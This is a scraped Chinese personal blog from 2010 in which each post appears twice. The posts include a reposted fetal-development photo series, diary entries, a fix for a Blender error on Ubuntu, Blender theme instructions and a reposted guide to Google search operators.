转网文一篇《精子发育成胎儿全过程超清晰照片 生命的奇迹(组图)》

(转文,文未附原址。——珍爱生命)


关键词:精子 胎儿 生命的奇迹


[提要]精子发育成胎儿全过程超清晰照片 生命的奇迹(组图)



1.受孕,一个精子游向输卵管黏液膜褶内的一个卵子


查看下一张


2.两个精子钻入一个卵子的壳内


查看上一张


3.一个精子的纵切面,遗传物质储存在精子的头部


查看上一张


4.八天后,新孕育的胚胎定位在某最佳位置,并吸附在黏膜上


查看下一张


5.20天后,胚胎尚未发育成熟,但可以看到大脑内部了


查看下一张


6.24天后,第一批发育的器官之一心脏开始跳动



7.五周大的胎儿,此时的胎儿只有大约9毫米长,面部正在发育,嘴巴、鼻孔和眼睛正在形成



8.八周大的胎儿,快速发育的胎儿在胎囊内受到很好的保护


查看上一张


9.九周后,V形血管在头骨融汇处发育


查看下一张


10.十周大的胎儿,此时的眼睑半闭,几周内会完全闭合


查看下一张


11.16周大的胎儿,小家伙用手探索自己的身体以及周围的环境



此时的胎儿已可以抓拉长长的脐带,骨骼主要由软骨构成,血管透过薄薄的皮肤,清晰可见


查看下一张


12.18周大的胎儿,此时的身长大约在14厘米左右,能够感知到来自外部世界的声音



13.20周后,胎儿现在长约20厘米


查看下一张


20周大的胎儿。此时的身长大约在20厘米左右,小脑袋上长满胎毛



14.36周后,子宫现在紧包着胎儿




原文:http://news.iqilu.com/tuku/2010/0921/327083_17.html

转网文一篇《精子发育成胎儿全过程超清晰照片 生命的奇迹(组图)》

(转文,文未附原址。——珍爱生命)


关键词:精子 胎儿 生命的奇迹


[提要]精子发育成胎儿全过程超清晰照片 生命的奇迹(组图)



1.受孕,一个精子游向输卵管黏液膜褶内的一个卵子


查看下一张


2.两个精子钻入一个卵子的壳内


查看上一张


3.一个精子的纵切面,遗传物质储存在精子的头部


查看上一张


4.八天后,新孕育的胚胎定位在某最佳位置,并吸附在黏膜上


查看下一张


5.20天后,胚胎尚未发育成熟,但可以看到大脑内部了


查看下一张


6.24天后,第一批发育的器官之一心脏开始跳动



7.五周大的胎儿,此时的胎儿只有大约9毫米长,面部正在发育,嘴巴、鼻孔和眼睛正在形成



8.八周大的胎儿,快速发育的胎儿在胎囊内受到很好的保护


查看上一张


9.九周后,V形血管在头骨融汇处发育


查看下一张


10.十周大的胎儿,此时的眼睑半闭,几周内会完全闭合


查看下一张


11.16周大的胎儿,小家伙用手探索自己的身体以及周围的环境



此时的胎儿已可以抓拉长长的脐带,骨骼主要由软骨构成,血管透过薄薄的皮肤,清晰可见


查看下一张


12.18周大的胎儿,此时的身长大约在14厘米左右,能够感知到来自外部世界的声音



13.20周后,胎儿现在长约20厘米


查看下一张


20周大的胎儿。此时的身长大约在20厘米左右,小脑袋上长满胎毛



14.36周后,子宫现在紧包着胎儿




原文:http://news.iqilu.com/tuku/2010/0921/327083_17.html

2010年9月20日星期一

冬日里的迟子建

自从高中那年冬天看过迟子建的书后就恋上了她书中的世界了。每当冬天来临,总是想起她书中的北方的冬的世界来。那世界似乎总是冬天,北方的冬天,外面有厚 厚的雪。书中的故事总是那么安静,那么奇异,总是那么的温暖,仿佛小时候冬日里,一家人围在橙黄的灯下热气腾腾地吃着晚饭。读完后很久也不能真正离开她的 那个世界。读的时候会想像着,她就是在这样的一个寒冷的冬天,封门闭户一个在在写着这样温暖的故事。

冬日里的迟子建









2010年9月19日星期日

这天气太暧昧

入秋了,今天一直下着毛毛雨,空气潮湿得很,阴冷阴冷的。记得高三时的地理课上,那个个性的地理老师说过他其中的一句经典的话——这么阴冷的天太暧昧,容易让人莫名地伤感,回家。
其实,我是挺喜欢这样的天气的。每当遇到这样的天气总是比较平静,喜欢走到外面去,去感受这淡淡的冷,这冷让我清醒,平日的天气让我麻木;在这样的日子里,总是想的比平常的多,像那老师说的,总是带着淡淡的伤感的气氛。不过仔细想想,说伤感也不是太确切,可能是眼前总是雾朦朦的,看不穿,天冷,让人心情比较平静,“容易想家”的原故吧,想的东西往往带的感情比较沉郁。
这样的天气其实很适合情侣傍晚去逛街,天将暗不暗的,两旁的点点灯火闪耀着,前面一对情侣手挽手,互相依偎着,说着笑着,闹着,好不美哉!呵呵,可惜啊,哥们还是单身……

今天想起了阔别了两年的日记,“傍晚一个人“(哎,悲X)吃完饭回来,顺道去买了本日记本,在架上看了一圈,发现一本极具个性的本子,上面斜躺四个沧桑大字“至今单身”,心想,这不是专为我定制的吧?于是抓起奔收银台,丫个呸的,一个小本子,还没画线格,就敢收我八块,想想算了,不计较了,难得体验一回富人的感受,“定制”的嘛,八块就八块吧,再说,这数也挺吉利的。(呵呵,人该Q时还得Q啊)

这天气太暧昧

入秋了,今天一直下着毛毛雨,空气潮湿得很,阴冷阴冷的。记得高三时的地理课上,那个个性的地理老师说过他其中的一句经典的话——这么阴冷的天太暧昧,容易让人莫名地伤感,回家。
其实,我是挺喜欢这样的天气的。每当遇到这样的天气总是比较平静,喜欢走到外面去,去感受这淡淡的冷,这冷让我清醒,平日的天气让我麻木;在这样的日子里,总是想的比平常的多,像那老师说的,总是带着淡淡的伤感的气氛。不过仔细想想,说伤感也不是太确切,可能是眼前总是雾朦朦的,看不穿,天冷,让人心情比较平静,“容易想家”的原故吧,想的东西往往带的感情比较沉郁。
这样的天气其实很适合情侣傍晚去逛街,天将暗不暗的,两旁的点点灯火闪耀着,前面一对情侣手挽手,互相依偎着,说着笑着,闹着,好不美哉!呵呵,可惜啊,哥们还是单身……

今天想起了阔别了两年的日记,“傍晚一个人“(哎,悲X)吃完饭回来,顺道去买了本日记本,在架上看了一圈,发现一本极具个性的本子,上面斜躺四个沧桑大字“至今单身”,心想,这不是专为我定制的吧?于是抓起奔收银台,丫个呸的,一个小本子,还没画线格,就敢收我八块,想想算了,不计较了,难得体验一回富人的感受,“定制”的嘛,八块就八块吧,再说,这数也挺吉利的。(呵呵,人该Q时还得Q啊)

2010年9月18日星期六

杂记

现在怎么这么不会说话呢?以前犀利的我哪去了……去了……了?!


自信点,哥们!


几年前,这种话肯定说不出口,因为不适合我。

杂记

现在怎么这么不会说话呢?以前犀利的我哪去了……去了……了?!


自信点,哥们!


几年前,这种话肯定说不出口,因为不适合我。

2010年9月7日星期二

想接触计算机语言

有这个想法已经有一段时间了,今年暑假闯进linux的世界后更是让我心痒。


可是专业课还没学全呢,眼看就毕业了,出了校门第一件事——找工作还得靠专业课,所以有点难啊,呵呵。不过已经开始看语言了。


暑假做的活还留了个尾巴,也一直没做,说不准那边就要了。

想接触计算机语言

有这个想法已经有一段时间了,今年暑假闯进linux的世界后更是让我心痒。


可是专业课还没学全呢,眼看就毕业了,出了校门第一件事——找工作还得靠专业课,所以有点难啊,呵呵。不过已经开始看语言了。


暑假做的活还留了个尾巴,也一直没做,说不准那边就要了。

2010年9月5日星期日

开学了

开学,对于学生来说总是最重大的事之一。没开学想着开学,开学了又不想上课了,呵呵,人总是这样。


本学期没有别的想法,只想过得健康点。

开学了

开学,对于学生来说总是最重大的事之一。没开学想着开学,开学了又不想上课了,呵呵,人总是这样。


本学期没有别的想法,只想过得健康点。

2010年8月14日星期六

关于ubuntu 下blender2.53安装No module named encodings.utf_8错误

现在用blender的人越来越多了,现在blender已经更新到2.53(bate)了,前几天下了一个,在ubuntu下使用,发现并不能运行,提示错误:

found bundled python:/home/hu/blender2.53/blender/(##具体路径找不到了,现在没那个错误了,当时也没记下来。)
pythonFatal Python error: Py_Initialize: can't initialize sys standard streams
ImportError: No module named encodings.utf_8

谷歌后,找到解决办法。附地址:http://www.siafoo.net/user/stou/blog/2010/03/25/Blender-2-5-No-module-named-encodings-utf_8。原来只要删掉(生命名也行)你下下来的blender文件夹(路径类似于:“/home/hu/下载/blender-2.53-beta/2.53/python”)下一个叫python的文件夹就行。
发出来希望对大家有用。另外,学blender的朋友,可以留下联系方式,多交流。

关于ubuntu 下blender2.53安装No module named encodings.utf_8错误

现在用blender的人越来越多了,现在blender已经更新到2.53(bate)了,前几天下了一个,在ubuntu下使用,发现并不能运行,提示错误:


found bundled python:/home/hu/blender2.53/blender/(##具体路径找不到了,现在没那个错误了,当时也没记下来。)
pythonFatal Python error: Py_Initialize: can't initialize sys standard streams

ImportError: No module named encodings.utf_8


谷歌后,找到解决办法。附地址:http://www.siafoo.net/user/stou/blog/2010/03/25/Blender-2-5-No-module-named-encodings-utf_8。原来只要删掉(生命名也行)你下下来的blender文件夹(路径类似于:“/home/hu/下载/blender-2.53-beta/2.53/python”)下一个叫python的文件夹就行。

发出来希望对大家有用。另外,学blender的朋友,可以留下联系方式,多交流。

2010年8月10日星期二

请“你”不要再来伤害我

好好生活,保重身体,请你不要再来伤害我。

请“你”不要再来伤害我

好好生活,保重身体,请你不要再来伤害我。

2010年8月4日星期三

我认为特权其实是对“弱者”的侵略

我认为特权其实是对“弱者”的侵权,是侵夺,是对未来的人们的抢劫!是不公平的表现。因为他们在本应平等的对资源的使用上享受着特权,这就是对其实人的不公,对后人的不公。地球上的资源源于自然,本应无主,之所以有今天这“占山为王”“占地为国”的局面是有人在进行“圈地运动”做着“插旗占地”的勾当。<br>
这些特权包括办厂开公司、高消费、夸大与特异消费(比如,大家穿布衣,有人穿真皮皮衣;大家喝粥,有人吃肉)、采矿、围猎等等。

我认为特权其实是对“弱者”的侵略

【转】 blender主题

blender的主题很强大,你可以根据自己的喜好来随意改变它的界面颜色。 http://www.graphicall.org/themes/ 这里有几个官方出的主题,下面是安装教程。 装载方法: 把theme文件放到scripts文件夹里,开启blender,视窗切换到scripts window,在菜单里的themes目录里就有了。 保存方法: 在file>export>save current theme,保存好就可以了。 怎么换图标? 把图标文件(是一个PNG文件)放到blender主文件夹/.blender/icons(如果没有就建一个),然后打开blender,把上方的user preferences拉开,进入themes标签,依下图改就行了。




(以上为转载内容)

附一个主题下载地址:http://psiteo.wordpress.com/2009/02/26/blender-themes-interface-icons/

也可以直接点这

【转】 blender主题

blender的主题很强大,你可以根据自己的喜好来随意改变它的界面颜色。 http://www.graphicall.org/themes/ 这里有几个官方出的主题,下面是安装教程。 装载方法: 把theme文件放到scripts文件夹里,开启blender,视窗切换到scripts window,在菜单里的themes目录里就有了。 保存方法: 在file>export>save current theme,保存好就可以了。 怎么换图标? 把图标文件(是一个PNG文件)放到blender主文件夹/.blender/icons(如果没有就建一个),然后打开blender,把上方的user preferences拉开,进入themes标签,依下图改就行了。




(以上为转载内容)

附一个主题下载地址:http://psiteo.wordpress.com/2009/02/26/blender-themes-interface-icons/

也可以直接点这

2010年8月3日星期二

GOOGLE搜索技巧(转)

前言:多数人在使用Google搜索的过程是非常低效 和无谓的,如果你只是输入几个关键词,然后按搜索按钮,你将是那些无法得到Google全部信息的用户,在这篇文章中,Google搜索专家迈克尔.米勒 将向您展示如何更智能、更高效地进行Google的系列搜索。

  Google是一个非常精密成熟的搜索引擎,但大多数的用户都没有能完全 地利用到它的能力。一般人就是在Google的搜索框中输入一两个关键字,然后点击“搜索”按钮,等着Google显示出它第一页的搜索结果。这是一个相 当简单模式匹配算法的搜索,不幸的是,通常此时出现的大部分都是并不需要的结果。


  其实,还是有更好的方式能够让搜索产生一些更少、更为 准确的结果。你所需要做的事只是学习一些简单的技巧,你就能很快得到更多更好的Google搜索结果。


  技巧一:使用正 确的方法


  无论你是使用一个简单或是高级的Google搜索,在此都存在你应该使用的某种可靠的方法。遵循适当的方法 你就能获得非常准确的结果;要是忽略这条建议的话,你也许就会看到大量不相关的结果或是缺乏你想要的相关结果。


  虽然有很多不同(且同样 有效的)方法用于网络搜索,我保证这个特别的方法将能带来最棒的结果。这是一个分六步骤的过程,如下:


  1、首先,想好你想要寻找什么。 哪些词能够最好地描述你要寻找的信息或者概念?哪些词是你能够用来替换的?有没有那些词是可以不必包括在你想要搜索的更好定义你的需求之内?


   2、构建你的搜索要求。使用尽可能多你所需要的关键词;越多越好。如果皆存在可能的话,试着用适当的搜索操作来使你的搜索更精炼——或者,如果你愿意的 话,可以使用高级搜索页面。


  3、点击“搜索”按钮进行搜索。


  4、评估一下搜索结果页面上的匹配程度。如果一开始的结 果与你想要的不一致,再精炼你的搜索要求并重新搜索——或转向更合适的搜索站点再进行搜索。


  5、选择你想要查看的匹配的页面,点击进行 浏览。


  6、保存这些最符合你需求的信息。


  换言之,这需要你在搜索之前思考清楚,接着在获得最初结果后精炼你的搜索。 这些多做的努力都是轻微的,但确实很值得。


  技巧二:合理利用一个“与/或”的搜索


   大多数的用户都没有意识到,Google会自动假定一次搜索要求中所有的词之间都是一种“和”的关系。也就是,如果你输入两个词,它就会假定你所寻找的 页面是包含这两个词的。它不会反馈给你仅包含其中一个词的页面。


  这就使得你无须在输入搜索要求时输入一个“和”。如果你想要搜索的包括 “Bob”和“Ted”,你所需要做的就是输入bob ted即可。Google会自己假定一个“和”,并自动地将它包括在内部的索引搜索内。


   这与在所要求的词之间假定“或”是不同的。例如,对比输入的要求“bob ted”(记得,这个实际上是bob和ted)与“bob或ted”。根据第一个要求所得的结果所包含的页面会共同提到Bob和Ted.而后者,结果所包 含的页面会只单独提到Bob,也有些页面是单独提到Ted,还有一些是共同提到他们二者的。这是一个微妙的差异,但却是很重要的。


  因 此,如果你想要一个“与/或”的搜索——搜索包括一个或另一个词的页面,但不一定是都包括二者——你必须在两个关键词之间插入一个带有“或者”功能的操 作。当你输入这个“OR”的表示“或者”操作时,请确保所输入的要大写,否则Google会将它忽视为一个忽略的单词(stop word)——也我们接下去将要讲到的。


  技巧三:你的搜索中包括或不包括的词


  关 于这些“and”和“or”的词,Google会自动地将这些在你输入的搜索要求中的不重要的、普通的词忽略掉。这些被称作是“忽略的单词”,包括 “and”、“the,”、“where”、“how”、“what”、“or”(所有字母皆为小写,还有其它一些类似的词——包括一些单独的数字或单独 的字母(例如 “a”)。


  在搜索中包含忽略的单词并没有什么大碍,不过会使搜索速度有些下降,这就是Google将它们剔除的原因。举 一个例子,你想要搜索的是“how a toaster works”(烤箱如何工作),Google会移除“how”和“a”两个词,并自行按新的更短的关键词“toaster works”进行搜索。


   如果你想要让这些一般的词包含在你的搜索要求内,你可以通过让Google必须在搜索中包含这些特定的词,使它不去排除“忽略的单词”。想要做到这点, 你可以在你确实需要的词之前加上一个“+”符号。例如,要在搜索要求中包含“how”,你应该输入“+how”。请确保在+符号之前有一个空格符,而不是 在它之后。


  从另一方面来说,有时你会想要通过排除一些包含特定词的页面来精炼你的搜索结果。你可以通过使用一个“-”号来去掉搜索结果 中不想要包括在内的词;在你的搜索要求中任何之前加上了“-”符号的词都会自动地排除在搜索结果之外。同样地,也请记住在“-”符号之前留一个空格符。


   例如,如果你想要搜索“bass”,你所得到的页面可能会包括男歌手一类的或是关于鱼的一类的。如果你仅向搜索的是歌手这类的页面,输入搜索要求时应如 下:“bass -fish”。


  技巧四:搜索近似的词


  不确定你在一次搜索中想要 搜索的词是正确的?你是否担心一些页面会使用可替代的词来描述你想要的东西呢?


  幸运的是,Google能够让你搜索近似的词——叫做同 义词——通过使用“~”符号。只要在想要搜索的词之前加上“~”符号,Google就会搜索所有包括这个词以及合适的近义词的页面。


  例 如,要搜索类似“elderly”的词,输入“~elderly”,所得到的页面就会不仅是包括“elderly”这个词,还会有包括“senior”、 “older”、“aged”等等词的页面。


  在此还有个额外的技巧:如果要只是列出近义词的页面,而不需要给出许多原先输入的那个词的 页面,可以用“-”符号来连接“~”操作,例如“~keyword -keyword”。这样就能在近义词所得的结果中排除原先输入的词。在先前的例子中,要得到仅有“elderly”近义词的搜索结果,就输入 “~elderly -elderly”即可。


  技巧五:搜索特定的词组


  当你搜索 一个特定词组时,如果你只是简单地输入词组中所有的词你是无法得到最好的结果的。Google也许能够反馈出包含这个词组的结果,但它也会列出包含你所输 入所有词的结果,却未必让这些词按照正确的顺序。


  如果你要搜索一个特定的词组,你应该将整个词组放在一个引号内。这样就能让 Google搜索规定顺序的精确的关键词。


  例如,如果你要搜索“Monty Python”,你可以输入monty python作为你的搜索要求,接着你也许会获得可接受的结果;这些结果中会包含有着“monty”和“python”两个词的页面。但这些结果并不仅是 包含了关于英国喜剧团体的页面,还包括了名叫Monty的蛇以及名叫Monty的家伙,他养了蛇来当宠物,还有其它一些包括了“monty”和 “python”的词的页面,即使它们之间看起来似乎毫无关联。


  为了将搜索结果限定在只关于Monty Python喜剧团之内,也就是你想要搜索的页面是按规定的顺序,将这两个词作为一个词组包含在内的,你就应该在输入搜索要求时输入"monty python"——确保这个词组在引号之内。这样的话,如果没有按照规定的顺序将这两个次匹配为一个精确的词组,这个页面就不会被列在搜索结果当中。


   技巧六:列出相似的页面


  你是否有发现过一个网页是你确实很喜欢的,又想知道是否还有与它类似的其 它网页呢?不需要再疑虑地思考了;你可以使用Google的相关来寻找:这个操作算符所显示的页面会与特定的页面在某些方面是相似的。例如,如果你很喜欢 InformIT上的文章,你可以通过输入“related:http://www.informit.com”来寻找类似的页面。


  技 巧七:通过其它的操作算符调整你的搜索


  使用相关操作算符只是众多你可用来调整Google搜索结果的方法之一。所有 的这些输入的操作算符都是以相同的方式工作的,将这些算符作为你搜索请求的一部分输入,再将变量紧接在这些输入的操作算符之后的冒号之后(而不是空格), 就像这样:“‘操作算符’:‘变量’”。


  有哪些搜索的操作算符是你可以利用的呢?以下是一个简短的清单:




























































算符 用途 用法
allinanchor: 限制搜索的词语是网页中链接 内包含的关键词(可使用多个关键词) allinanchor:keyword1 keyword2
allintext: 限制搜索的词语是网页内文包含的关键词(可使用多个关键词) allintext:keyword1 keyword2
allintitle: 限制搜索的词语是网页标题中包含的关键词(可使用多个关键词) allintitle:keyword1 keyword2
allinurl: 限制搜索的词语是网页网址中包含的关键词(可使用多个关键词) inurl:keyword1 keyword2
filetype: 限制所搜索的文件一个特定的格式 filetype:extension
inanchor: 限制搜索的词语是网页中链接内包含的关键词 inanchor:keyword
intext: 限制搜索的词语是网页内文包含的关键词 intext:keyword
intitle: 限制搜索的词语是网页标题中包含的关键词 intitle:keyword
inurl: 限制搜索的网页的地址 inurl:keyword
site: 限制所进行的搜索在指定的域名或网站内 site:domain

  技巧八:搜索特定的事实


   如果你要搜索一些客观事实,Google也许能够帮得上忙。是的,Google总是能够反馈给你一个匹配你指定的搜索要求的清单,但只要你能够正确地描 述了你的搜索要求,且接着搜索的事实是Google已经预先鉴定了额,你就能在搜索结果页面的最顶端得到你所需要的精确信息。


  我们在此 谈到的有哪些类型的信息呢?是一些事实性的信息,例如诞生日、诞生地、人口等等。你所需要做的就是输入你想要知道的描述事实的搜索要求。例如:


   要查询圣弗朗西斯科的人口,则输入“人口 圣弗朗西斯科”。


  要查询马克·吐温在哪里出生,则输入“出生地 马克吐温”。


   要查询总统比尔·克林顿什么时候出生,则输入“生日 比尔克林顿”。


  要查询雷蒙德·钱德勒什么时候去世,则输入“去世 雷蒙德·钱德勒”。


  要查询谁是德国总统,则输入“总统 德国”。


  这些问题的答案就会显示在搜索结果页面的顶部。你能 够获根据关联的网站得应对你的疑问的正确答案。点击相关的链接还能从这个资源里获悉更多的东西。


  技巧九:搜索 Google Directory


  Google在它的搜索数据库中将成千上万的网页索引化——这就能使得不会产生压 倒性数量的搜索结果。量确实已经够了,但有时你也许会更愿意得到一些高质量的结果。


  由于质量较数量更为重要,就可以绕过主要的 Google搜索引擎而使用Google Directory来代替。Google Directory是一个网页清单相对较小的数据库,它们都是通过一个人工编辑团队手动精心挑选的。Google Directory是有被注释和组织到相关的话题类目下的。你可以通过类目来浏览网页目录,或是搜索指定的项目。


  Google Directory是一个可用来搜索大量Google网页索引实用选择。Google Directory的结果比起你在更大的搜索索引范围中的搜索结果更为集中且高质,也能够帮助你在任何给定的类目下更好地认识什么是可用的信息。另外,如 果你喜欢,你也可以利用浏览类目来替代搜索。


  要进入Google Directory,点击Google主页上的“更多”链接,在接下来的页面中选择类别。当然,你也可以直接进入Google的Directory,只要 在浏览器中输入directory.google.com即可。


  技巧十:使用Google的其它专业搜索


   Google Directory不仅仅是Google所提供的除了主搜索引擎之外的唯一选择。根据你所做的搜索类型,你也可以通过使用其中Google更为专业的搜索 站点之一来得到更好的结果。它们包括:


  Froogle可以用来搜索那些有着最低价格的特定商品的在线购物网站。


   Google Answers所提供的服务是直接让你的搜索需求面向专业人员的小组,大多数都是用于当你有着更为复杂的问题,而无法通过简单的搜索来解答的时候。


   Google Apple Macintosh Search主要是在apple.com域名中以及和其它与苹果相关的站点进行搜索。


   Google Blog Search是用来搜索博客和博客文章的。


  Google Book Search可以搜索成千上万的小说和非小说类图书的全文。


  Google BSD UNIX Search可以搜索到大量专门为BSD版本的UNIX操作系统专业化的站点。


  Google Groups可以搜索到Google Groups档案的相关文章。


  Google Linux Search用来搜索大量与Linux相关的网站。


   Google Microsoft Search可以搜索主要是microsoft.com域名中的内容以及其它微软相关的站点。


   Google News可用来搜索大量有最新新闻和头条的新闻网站,也能够搜索历史的新闻资料,一直可以追溯到两个世纪之前。


   Google Scholar在一个有着学术杂志、文章、报纸、论文和书籍的数据库中进行搜索,也能够选择大学或研究书库。


   Google U.S. Government Search是用来搜索那些美国政府的网站——这是一个最好的用来搜索官方性政府举措、信息、报告等等的地方。


  Google University Search能在一个有着超过600所大学网站的数据库中进行搜索——能够用来查询课程安排、入学资料等等。


  原 文作者:Michael Miller


  原文标题:Ten Tips for Smarter Google Searches


   原文地址:http://www.informit.com/articles/article.asp?p=675274&rl=1


   编译人:雪影蓝风(IT168)


  译文地址:http://publish.it168.com/2006/1213/20061213001101.shtml





原创文章如转载,请注明:转载自月光博客 [ http://www.williamlong.info/ ]

本文链接地址:http://www.williamlong.info/archives/728.html

GOOGLE搜索技巧(转)

前言:多数人在使用Google搜索的过程是非常低效 和无谓的,如果你只是输入几个关键词,然后按搜索按钮,你将是那些无法得到Google全部信息的用户,在这篇文章中,Google搜索专家迈克尔.米勒 将向您展示如何更智能、更高效地进行Google的系列搜索。

  Google是一个非常精密成熟的搜索引擎,但大多数的用户都没有能完全 地利用到它的能力。一般人就是在Google的搜索框中输入一两个关键字,然后点击“搜索”按钮,等着Google显示出它第一页的搜索结果。这是一个相 当简单模式匹配算法的搜索,不幸的是,通常此时出现的大部分都是并不需要的结果。


  其实,还是有更好的方式能够让搜索产生一些更少、更为 准确的结果。你所需要做的事只是学习一些简单的技巧,你就能很快得到更多更好的Google搜索结果。


  技巧一:使用正 确的方法


  无论你是使用一个简单或是高级的Google搜索,在此都存在你应该使用的某种可靠的方法。遵循适当的方法 你就能获得非常准确的结果;要是忽略这条建议的话,你也许就会看到大量不相关的结果或是缺乏你想要的相关结果。


  虽然有很多不同(且同样 有效的)方法用于网络搜索,我保证这个特别的方法将能带来最棒的结果。这是一个分六步骤的过程,如下:


  1、首先,想好你想要寻找什么。 哪些词能够最好地描述你要寻找的信息或者概念?哪些词是你能够用来替换的?有没有那些词是可以不必包括在你想要搜索的更好定义你的需求之内?


   2、构建你的搜索要求。使用尽可能多你所需要的关键词;越多越好。如果皆存在可能的话,试着用适当的搜索操作来使你的搜索更精炼——或者,如果你愿意的 话,可以使用高级搜索页面。


  3、点击“搜索”按钮进行搜索。


  4、评估一下搜索结果页面上的匹配程度。如果一开始的结 果与你想要的不一致,再精炼你的搜索要求并重新搜索——或转向更合适的搜索站点再进行搜索。


  5、选择你想要查看的匹配的页面,点击进行 浏览。


  6、保存这些最符合你需求的信息。


  换言之,这需要你在搜索之前思考清楚,接着在获得最初结果后精炼你的搜索。 这些多做的努力都是轻微的,但确实很值得。


  技巧二:合理利用一个“与/或”的搜索


   大多数的用户都没有意识到,Google会自动假定一次搜索要求中所有的词之间都是一种“和”的关系。也就是,如果你输入两个词,它就会假定你所寻找的 页面是包含这两个词的。它不会反馈给你仅包含其中一个词的页面。


  这就使得你无须在输入搜索要求时输入一个“和”。如果你想要搜索的包括 “Bob”和“Ted”,你所需要做的就是输入bob ted即可。Google会自己假定一个“和”,并自动地将它包括在内部的索引搜索内。


   这与在所要求的词之间假定“或”是不同的。例如,对比输入的要求“bob ted”(记得,这个实际上是bob和ted)与“bob或ted”。根据第一个要求所得的结果所包含的页面会共同提到Bob和Ted.而后者,结果所包 含的页面会只单独提到Bob,也有些页面是单独提到Ted,还有一些是共同提到他们二者的。这是一个微妙的差异,但却是很重要的。


  因 此,如果你想要一个“与/或”的搜索——搜索包括一个或另一个词的页面,但不一定是都包括二者——你必须在两个关键词之间插入一个带有“或者”功能的操 作。当你输入这个“OR”的表示“或者”操作时,请确保所输入的要大写,否则Google会将它忽视为一个忽略的单词(stop word)——也我们接下去将要讲到的。


  技巧三:你的搜索中包括或不包括的词


  关 于这些“and”和“or”的词,Google会自动地将这些在你输入的搜索要求中的不重要的、普通的词忽略掉。这些被称作是“忽略的单词”,包括 “and”、“the,”、“where”、“how”、“what”、“or”(所有字母皆为小写,还有其它一些类似的词——包括一些单独的数字或单独 的字母(例如 “a”)。


  在搜索中包含忽略的单词并没有什么大碍,不过会使搜索速度有些下降,这就是Google将它们剔除的原因。举 一个例子,你想要搜索的是“how a toaster works”(烤箱如何工作),Google会移除“how”和“a”两个词,并自行按新的更短的关键词“toaster works”进行搜索。


   如果你想要让这些一般的词包含在你的搜索要求内,你可以通过让Google必须在搜索中包含这些特定的词,使它不去排除“忽略的单词”。想要做到这点, 你可以在你确实需要的词之前加上一个“+”符号。例如,要在搜索要求中包含“how”,你应该输入“+how”。请确保在+符号之前有一个空格符,而不是 在它之后。


  从另一方面来说,有时你会想要通过排除一些包含特定词的页面来精炼你的搜索结果。你可以通过使用一个“-”号来去掉搜索结果 中不想要包括在内的词;在你的搜索要求中任何之前加上了“-”符号的词都会自动地排除在搜索结果之外。同样地,也请记住在“-”符号之前留一个空格符。


   例如,如果你想要搜索“bass”,你所得到的页面可能会包括男歌手一类的或是关于鱼的一类的。如果你仅向搜索的是歌手这类的页面,输入搜索要求时应如 下:“bass -fish”。


  技巧四:搜索近似的词


  不确定你在一次搜索中想要 搜索的词是正确的?你是否担心一些页面会使用可替代的词来描述你想要的东西呢?


  幸运的是,Google能够让你搜索近似的词——叫做同 义词——通过使用“~”符号。只要在想要搜索的词之前加上“~”符号,Google就会搜索所有包括这个词以及合适的近义词的页面。


  例 如,要搜索类似“elderly”的词,输入“~elderly”,所得到的页面就会不仅是包括“elderly”这个词,还会有包括“senior”、 “older”、“aged”等等词的页面。


  在此还有个额外的技巧:如果要只是列出近义词的页面,而不需要给出许多原先输入的那个词的 页面,可以用“-”符号来连接“~”操作,例如“~keyword -keyword”。这样就能在近义词所得的结果中排除原先输入的词。在先前的例子中,要得到仅有“elderly”近义词的搜索结果,就输入 “~elderly -elderly”即可。


  技巧五:搜索特定的词组


  当你搜索 一个特定词组时,如果你只是简单地输入词组中所有的词你是无法得到最好的结果的。Google也许能够反馈出包含这个词组的结果,但它也会列出包含你所输 入所有词的结果,却未必让这些词按照正确的顺序。


  如果你要搜索一个特定的词组,你应该将整个词组放在一个引号内。这样就能让 Google搜索规定顺序的精确的关键词。


  例如,如果你要搜索“Monty Python”,你可以输入monty python作为你的搜索要求,接着你也许会获得可接受的结果;这些结果中会包含有着“monty”和“python”两个词的页面。但这些结果并不仅是 包含了关于英国喜剧团体的页面,还包括了名叫Monty的蛇以及名叫Monty的家伙,他养了蛇来当宠物,还有其它一些包括了“monty”和 “python”的词的页面,即使它们之间看起来似乎毫无关联。


  为了将搜索结果限定在只关于Monty Python喜剧团之内,也就是你想要搜索的页面是按规定的顺序,将这两个词作为一个词组包含在内的,你就应该在输入搜索要求时输入"monty python"——确保这个词组在引号之内。这样的话,如果没有按照规定的顺序将这两个次匹配为一个精确的词组,这个页面就不会被列在搜索结果当中。


   技巧六:列出相似的页面


  你是否有发现过一个网页是你确实很喜欢的,又想知道是否还有与它类似的其 它网页呢?不需要再疑虑地思考了;你可以使用Google的相关来寻找:这个操作算符所显示的页面会与特定的页面在某些方面是相似的。例如,如果你很喜欢 InformIT上的文章,你可以通过输入“related:http://www.informit.com”来寻找类似的页面。


  技 巧七:通过其它的操作算符调整你的搜索


  使用相关操作算符只是众多你可用来调整Google搜索结果的方法之一。所有 的这些输入的操作算符都是以相同的方式工作的,将这些算符作为你搜索请求的一部分输入,再将变量紧接在这些输入的操作算符之后的冒号之后(而不是空格), 就像这样:“‘操作算符’:‘变量’”。


  有哪些搜索的操作算符是你可以利用的呢?以下是一个简短的清单:




























































算符 用途 用法
allinanchor: 限制搜索的词语是网页中链接 内包含的关键词(可使用多个关键词) allinanchor:keyword1 keyword2
allintext: 限制搜索的词语是网页内文包含的关键词(可使用多个关键词) allintext:keyword1 keyword2
allintitle: 限制搜索的词语是网页标题中包含的关键词(可使用多个关键词) allintitle:keyword1 keyword2
allinurl: 限制搜索的词语是网页网址中包含的关键词(可使用多个关键词) inurl:keyword1 keyword2
filetype: 限制所搜索的文件一个特定的格式 filetype:extension
inanchor: 限制搜索的词语是网页中链接内包含的关键词 inanchor:keyword
intext: 限制搜索的词语是网页内文包含的关键词 intext:keyword
intitle: 限制搜索的词语是网页标题中包含的关键词 intitle:keyword
inurl: 限制搜索的网页的地址 inurl:keyword
site: 限制所进行的搜索在指定的域名或网站内 site:domain

  技巧八:搜索特定的事实


   如果你要搜索一些客观事实,Google也许能够帮得上忙。是的,Google总是能够反馈给你一个匹配你指定的搜索要求的清单,但只要你能够正确地描 述了你的搜索要求,且接着搜索的事实是Google已经预先鉴定了额,你就能在搜索结果页面的最顶端得到你所需要的精确信息。


  我们在此 谈到的有哪些类型的信息呢?是一些事实性的信息,例如诞生日、诞生地、人口等等。你所需要做的就是输入你想要知道的描述事实的搜索要求。例如:


   要查询圣弗朗西斯科的人口,则输入“人口 圣弗朗西斯科”。


  要查询马克·吐温在哪里出生,则输入“出生地 马克吐温”。


   要查询总统比尔·克林顿什么时候出生,则输入“生日 比尔克林顿”。


